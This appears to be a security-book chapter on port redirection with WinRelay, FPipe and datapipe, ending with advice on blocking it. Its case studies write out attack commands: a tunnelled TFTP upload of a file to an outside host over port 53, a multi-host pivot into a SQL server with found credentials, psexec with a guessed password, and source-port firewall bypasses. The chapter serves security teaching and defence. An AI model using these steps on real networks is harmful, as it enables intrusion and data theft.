WINRELAY

WinRelay is another Windows-based port-redirection tool. It and FPipe share the same features, including the ability to define a static source port for redirected traffic. Consequently, it can be used interchangeably with FPipe on any Windows platform.

Implementation

Simple tools need only a simple explanation. If you're already familiar with datapipe or FPipe, using WinRelay will be easy.

 WinRelay 2.0 - (c) 2002-2003, Arne Vidstrom ([e-mail])              - http://ntsecurity.nu/toolbox/winrelay/  Usage: winrelay -lip <IP/DNS address> -lp <port> [-sip <IP/DNS address>]      [-sp <port>] -dip <IP/DNS address> -dp <port> -proto <protocol>         -lip   = IP (v4/v6) or DNS address to listen at                  (to listen on all addresses on all interfaces use                  -lip allv4 or -lip allv6)         -lp    = port to listen at         -sip   = source IP (v4/v6) or DNS address for connection to                  destination         -sp    = source port for connection to destination         -dip   = destination IP (v4/v6) or DNS address         -dp    = destination port         -proto = protocol ("tcp" or "udp") 

WinRelay is another alternative for leveraging Windows-based port redirection. The most recent version improves on datapipe and Fpipe by providing support for IPv6 networks.

Case Study: Port Hopping

Port redirection tools thrive on port hopping. Use a port redirector to create alternative ports for an established service on the localhost, redirect requests to the localhost to an alternative server, and tunnel connections through a firewall.

Local Redirection Port redirection tools can be used to assign an alternative port to a service. To Unix administrators, this sounds like a needless, inelegant step. After all, the listening port for most Unix services is changed within a text file. On Windows systems, the only recourse may be to change a registry setting, if one exists, or use a port redirector. For example, it is not too difficult to change the listening port for a Windows Terminal Server. You could modify a registry setting, or use FPipe:

 C:\>fpipe -l 22 -r 3389 localhost 

This lets you open a single port on the firewall for the remote administration of your ssh and Terminal Server systems by placing both services on the same port.

If you prefer to run a Linux system for your gateway, you could set up a port redirection rule in iptables for a Terminal Server behind the gateway. Alternatively, use datapipe to forward incoming connections on port 3389 to the Terminal Server:

 $ ./datapipe 3389 3389 172.16.19.12 

Client Redirection We've already demonstrated redirection for a web client. A more relevant example is using port redirection for precompiled exploits. Exploit code allows the user to specify a custom target (IP address) but not necessarily a custom port. Imagine that "spork" is IIS exploit code written to run against port 80. During an nmap scan, you discover IIS running on port 7070. Port redirection solves the port mismatchchoose your method:

 C:\>fpipe -l 80 -r 7070 targetserver $ ./datapipe 80 7070 targetserver 

Then run spork against your localhost. It assumes target port 80. FPipe (or datapipe) accepts the connection on port 80 and then forwards the data to port 7070 on targetserver .

 C:\>spork localhost 

This technique is also used to bypass firewall restrictions. For example, in the wake of a flurry of IIS worms in 2001, savvy administrators block outbound requests to UDP port 69 (the TFTP serviceTrivial FTP). Try FPipe's UDP to tunnel TFTP requests over UDP port 53, the port commonly reserved for DNS traffic. On Windows systems, the TFTP client does not permit you to specify an alternative destination port. Therefore, you have to set up a local port redirection for the TFTP client that forwards requests to your modified TFTP server. Remember to specify u for UDP mode:

 C:\>fpipe -l 69 -r 53  -u  192.168.0.116 C:\>tftp -i localhost PUT researchdata.zip 

Your own TFTP server listens on UDP port 53 on host 192.168.0.116. These two commands are run from the server behind the firewall and the researchdata.zip file is uploadedusing the port commonly associated with name resolution.

Dual Redirection This scenario involves four hosts: A, B, C, and D. Hosts A and B are the attacker's own systems. In other words, no exploits were required to gain access to these hosts. Hosts C and D are the victim's systems, separated from the attacker by a firewall. Host C is a web server. Host D, the final target, is a SQL database. This scenario should demonstrate how a single vulnerability in a web server can be leveraged to expand the scope of a compromise. The attacker is able to view arbitrary files on the web server, including a file that contains the database username and password. The attacker can even execute arbitrary commands on the web server. However, the database has been strongly secured because it contains credit card information. Consequently, only ports 445 (SMB) and 1433 (SQL) are open.

The following scenario depicts an overview of the target network.

Host A is a Windows 2000 system with a Microsoft SQL management client. The SQL client will eventually connect to the SQL database on Host D.

Host B runs FPipe. It does not have to be a separate physical host. Windows has SQL clients and FPipe, while Linux has SQL clients and datapipe. Host B could even be a virtual VMware system. Note that it would be possible to assign an alternative destination port in the SQL client, but we might need to use a source port trick!

The firewall permits TCP ports 21, 25, and 80 into the network for FTP, e-mail, and web services.

Host C is a combination FTP and mail server protected by the firewall. Imagine that it's running a vulnerable version of WU-FTPD that provides command-line access as root (this is a real vulnerability). For this attack to work, some vulnerability must be present on a server behind the firewall that enables us to run a port redirector. To reiterate the introduction, port redirection is a method to circumvent port access restrictions; it is not exploit code.

While looking at the web server, we discover a database.inc file that contains a connection string for IIS to talk to the database, Host D:

 strDB = "Provider=SQLOLEDB;Data Source=financedb;Initial Catalog=Payroll; User Id=sa;  Password=''  

Host D is a Windows 2000 system running SQL server 7.0. This system represents our goal. We discover the connection string from the web server, but we have no way of accessing the database's administration port, 1433.

The attack requires two port redirections. Host B is simple; we're just listening on the default SQL port and forwarding the traffic to our compromised host behind the firewall:

  Host B:  c:\> fpipe -l 1433 -r 80 <Host C> 

Host C requires a little bit of thinking. The firewall permits ports 21, 25, and 80. Unfortunately, ports 21 and 25 already have services assigned to them. We can't assign two different services (FTP and datapipe, for example) to the same port. Luckily, there is a web server on the network, so the firewall permits port 80 as well. We'll listen on this port:

  Host C:  $ ./datapipe 80 1433 <Host D> 

Next, Host A opens its SQL client and points to Host B on port 1433. Host B forwards this connection to port 80 on Host C, which in turn forwards the connection to port 1433 on Host D. Voil ! A completed SQL connection! If the firewall had blocked HTTP traffic to Host Ca viable option since it isn't a web servernone of this would have been possible.

Further Expanding Influence In the previous scenario, we gained access on Host D via the SQL server; however, Host D also had port 445 open. To perform a complete audit of the system, we could try some enumeration tools we learned about in Chapter 6. These tools require access to the Windows NetBIOS ports. At first, we might think to use FPipe to listen on port 445 and forward the traffic over port 80. But there's a catch: Windows 2000 and XP use port 445 for NetBIOS and don't allow you to close this port. We can't have two services (FPipe and NetBIOS) on the same port number. Looks like we'll have to turn on a VMware session with FreeBSD and use datapipe:

  Host B:  $ ./datapipe 445 80 <Host C> 

It doesn't matter whether the compromised host is Unix or Windows, only that nothing is listening on port 80 except for our datapipe:

  Host C:  $ ./datapipe 80 445 <Host D> 

Command-line access is only a step away. We need a username and passwordpossibly created with SQL's xp_cmdshell and the net user commandor we discover that the Administrator's password is password . Then, we run the psexec utility from Host A through the port redirection tunnel:

  Host A:  c:\>psexec \hostB -u administrator -p password "ipconfig /all" 

This runs the ipconfig.exe program on Host D, showing all its network adapter information. Refer to Chapter 6 for more details about the psexec tool.

Keep in mind that simpler methods of accessing the SQL database are available, such as uploading Samba tools or a command-line SQL client to the compromised system. Our goal is to demonstrate port manipulation that acts transparently between the client and server regardless of the protocol involved. In Perl lingo, TMTOWTDIThere's More Than One Way To Do It!

 

Case Study: Packet Filters, Ports, and Problems

Basic packet filters allow or deny network traffic based on IP addresses and port numbers . Linux's ipchains and Cisco routers (minus the "established" capability) are good examples of packet filtering devices. They examine only four parts of a TCP/IP packet:

• Source IP address

• Source port

• Destination IP address

• Destination port

It is possible for you to create strong rules based on these combinations. For example, a web server needs to receive traffic only on ports 80 and 443an administrator creates ipchains rules to examine traffic arriving from the Internet and permits only TCP destination ports 80 and 443. Access to destination port 22 (Secure Shell), for example, is blocked. Notice the distinction. If the administrator permitted only TCP ports 80 and 443, a potential problem is created: What happens when a packet arrives with a source port of 80? Depending on the order of the ipchains rules, the packet passes through the firewall. Now, what happens if that packet has a source port of 80 and a destination port of 22? Unauthorized access to the Secure Shell prompt!

Source-port problems crop up in several services. FTP is probably the most notorious service to restrict properly. An FTP connection starts out just fine. The client connects to the server on port 21. Then things start to get difficult. If the client starts to download a file, the server initiates a data connection from port 20 to the client. The packet type that creates a connection is called a SYN packet (for the type of flag the packet contains). For an FTP data connection, the server sends the SYN packet and the client continues the connection. Packet filters watch for these SYN packets in order to apply their rules. Consequently, the packet filter can become confused about which system started an FTP connection because the traffic originates on the internal network, not the Internet. Many times, an administrator permits traffic with a port of 20 to enter the network but neglects to limit incoming traffic to the FTP server.

Other problematic services are Domain Name System (DNS), Server Message Transfer Protocol (SMTP), and Internet Protocol Security (IPsec, Kerberos). DNS services run on TCP and UDP port 53. Only the UDP port is necessary for name resolution (although TCP is sometimes used for large namespace lookups). However, if there's confusion about which hosts require name resolution, internal or Internet, TCP port 53 might be open to the world.

Everyone uses e-mail and SMTP servers make sure that e-mail arrives. An SMTP server uses destination TCP port 25 to receive e-mail, but it's entirely possible that the firewall rule mistakenly permits port 25 (source or destination). Kerberos, by no means a new protocol, gained a renaissance in use by its Frankenstein-like inclusion in Windows 2000. Now Windows system administrators could establish more secure, encrypted communications using TCP port 88 and IPsec. Port 88 also suffers from source/destination confusion.

Use FPipe's outbound source port option ( -s ) to take advantage of source port insecurities. Simply redirect the tool through the port redirector and determine whether the remote service answers. In this case, you are not changing the destination port numbers; instead, you're changing the source port number of the traffic entering the remote network:

 C:\>fpipe -l 3389 -r 3389  -s 20  192.168.0.116 

Unfortunately, datapipe doesn't support the source port optionbut at least you have the source code!

Blocking Port Redirection Port redirection is a method of bypassing inadequate network access controls. For the system administrator, it should also illustrate the importance of a layered defense strategythat is, applying redundant network, host, and application controls to specific security problems.

You cannot download and apply a patch to prevent data redirection. You can, however, apply good network access controls. Unlike host-specific vulnerabilities such as buffer overflows, data redirection attacks exploit the network. Consequently, solutions must be provided at the network level.

• Host security Obviously, if an attacker cannot gain command-line access on a system, port redirection tools can't be used to bypass access control lists. Part of any system administrator's mantra should be "patch, configure, verify."

• Ingress filters A strong firewall or router access control list should begin with a "DENY ALL" rule. Then, ports and services are added as business purposes require. Additionally, ports should not be opened with carte blanche access. Ports 80 and 443 should be allowed only to web servers, and port 25 should be allowed only to e-mail servers.

• Egress filters "Public" servers such as web servers always receive traffic. That is, the web server does not anticipate that you want to connect to it and sends its home page to your browser; you must go to it. What naturally follows is that the web server should never establish an outbound (toward the Internet) connection. It should receive traffic on port 80, but the network device should block any connection attempts from the web server to any Internet host.

• Proxy firewalls Proxy firewalls can quite effectively block port redirection attacks if they are configured to protect a specific protocol. For example, a proxy firewall that serves HTTP traffic inspects each packet for coherence to the HTTP protocol. In other words, the proxy looks for basic HTTP verbs such as GET, HEAD, or POST. If these are not present, the firewall blocks the traffic. Therefore, it would not be possible to tunnel an ssh connection through an HTTP proxy because the ssh communication does not contain the correct protocol content.

You should also avoid incorrect reciprocal rules . If your Windows network uses IPsec tunneling over TCP port 88, you should ensure that the connections rules make sense. For example, an incorrect rule might look like this (in pseudo-code):

 allow (src ip ANY) and (tcp port 88) 

This rule allows any packet with an IP address with a source or destination port of 88 to enter the network. Thus, the ruleset would permit a packet with a source port of 88 and a destination port of 139 (for example) to traverse the network.

A correct rule should allow traffic to the IPsec port:

 allow (src ip ANY) and (dst tcp port 88) 

Remember that this type of problem often crops up in FTP, SMTP, and DNS services as well.